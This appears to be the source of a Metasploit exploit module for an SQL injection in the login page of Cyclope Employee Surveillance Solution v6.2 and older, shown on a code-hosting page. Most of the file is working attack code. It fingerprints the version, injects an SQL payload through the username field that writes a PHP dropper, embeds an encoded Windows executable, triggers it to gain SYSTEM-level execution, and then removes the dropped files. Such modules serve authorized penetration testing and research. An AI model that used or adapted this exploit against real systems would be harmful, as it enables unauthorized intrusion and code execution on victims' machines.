Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/cyclope_ess_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize(info={})12super(update_info(info,13'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",14'Description' => %q{15This module exploits a SQL injection found in Cyclope Employee Surveillance16Solution. Because the login script does not properly handle the user-supplied17username parameter, a malicious user can manipulate the SQL query, and allows18arbitrary code execution under the context of 'SYSTEM'.19},20'License' => MSF_LICENSE,21'Author' =>22[23'loneferret', #Original discovery, PoC24'sinn3r' #Metasploit25],26'References' =>27[28['OSVDB', '84517'],29['EDB', '20393']30],31'Payload' =>32{33'BadChars' => "\x00"34},35'DefaultOptions' =>36{37'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'38},39'Platform' => 'win',40'Targets' =>41[42['Cyclope Employee Surveillance Solution v6.2 or older', {}]43],44'Privileged' => false,45'DisclosureDate' => '2012-08-08',46'DefaultTarget' => 0))4748register_options(49[50OptPort.new('RPORT', [true, "The web application's port", 7879]),51OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])52])5354self.needs_cleanup = true55end5657def check58peer = "#{rhost}:#{rport}"59path = File.dirname("#{target_uri.path}/.")60b64_version = get_version(path)61if b64_version.empty?62vprint_error("Unable to determine the version number")63else64b64_version = Rex::Text.decode_base64(b64_version)65if b64_version =~ /^[0-6]\.1/66return Exploit::CheckCode::Appears67end68end6970return Exploit::CheckCode::Safe71end727374def get_version(path)75res = send_request_raw({'uri'=> "#{path}index.php"})76return '' if not res7778v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]79return '' if not v8081return v82end838485def on_new_session(cli)86if cli.type != 'meterpreter'87print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")88return89end9091cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")9293begin94print_warning("Deleting #{@php_fname}")95cli.fs.file.rm(@php_fname)96rescue ::Exception => e97print_error("Please note: #{@php_fname} is stil on disk.")98end99100begin101print_warning("Deleting #{@exe_fname}")102cli.fs.file.rm(@exe_fname)103rescue ::Exception => e104print_error("Please note: #{@exe_fname} is still on disk.")105end106end107108109def get_php_payload(fname)110p = Rex::Text.encode_base64(generate_payload_exe)111php = %Q|112<?php113$f = fopen("#{fname}", "wb");114fwrite($f, base64_decode("#{p}"));115fclose($f);116exec("#{fname}");117?>118|119php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')120return php121end122123124def exploit125peer = "#{rhost}:#{rport}"126path = File.dirname("#{target_uri.path}/.")127128#129# Need to fingerprint the version number in Base64 for the payload path130#131b64_version = get_version(path)132if b64_version.empty?133print_error("Unable to determine the version number")134return135end136137print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")138139#140# Prepare our payload (naughty exe embedded in php)141#142@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'143@php_fname = Rex::Text.rand_text_alpha(6) + '.php'144php = get_php_payload(@exe_fname).unpack("H*")[0]145sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"146147#148# Inject payload149#150print_status("Injecting PHP payload...")151res = send_request_cgi({152'method' => 'POST',153'uri' => path,154'vars_post' => {155'act' => 'auth-login',156'pag' => 'login',157'username' => sqli,158'password' => Rex::Text.rand_text_alpha(5)159}160})161162#163# Load our payload164#165print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")166send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})167if res and res.code == 404168print_error("Server returned 404, the upload attempt probably failed")169return170end171172handler173end174end175176177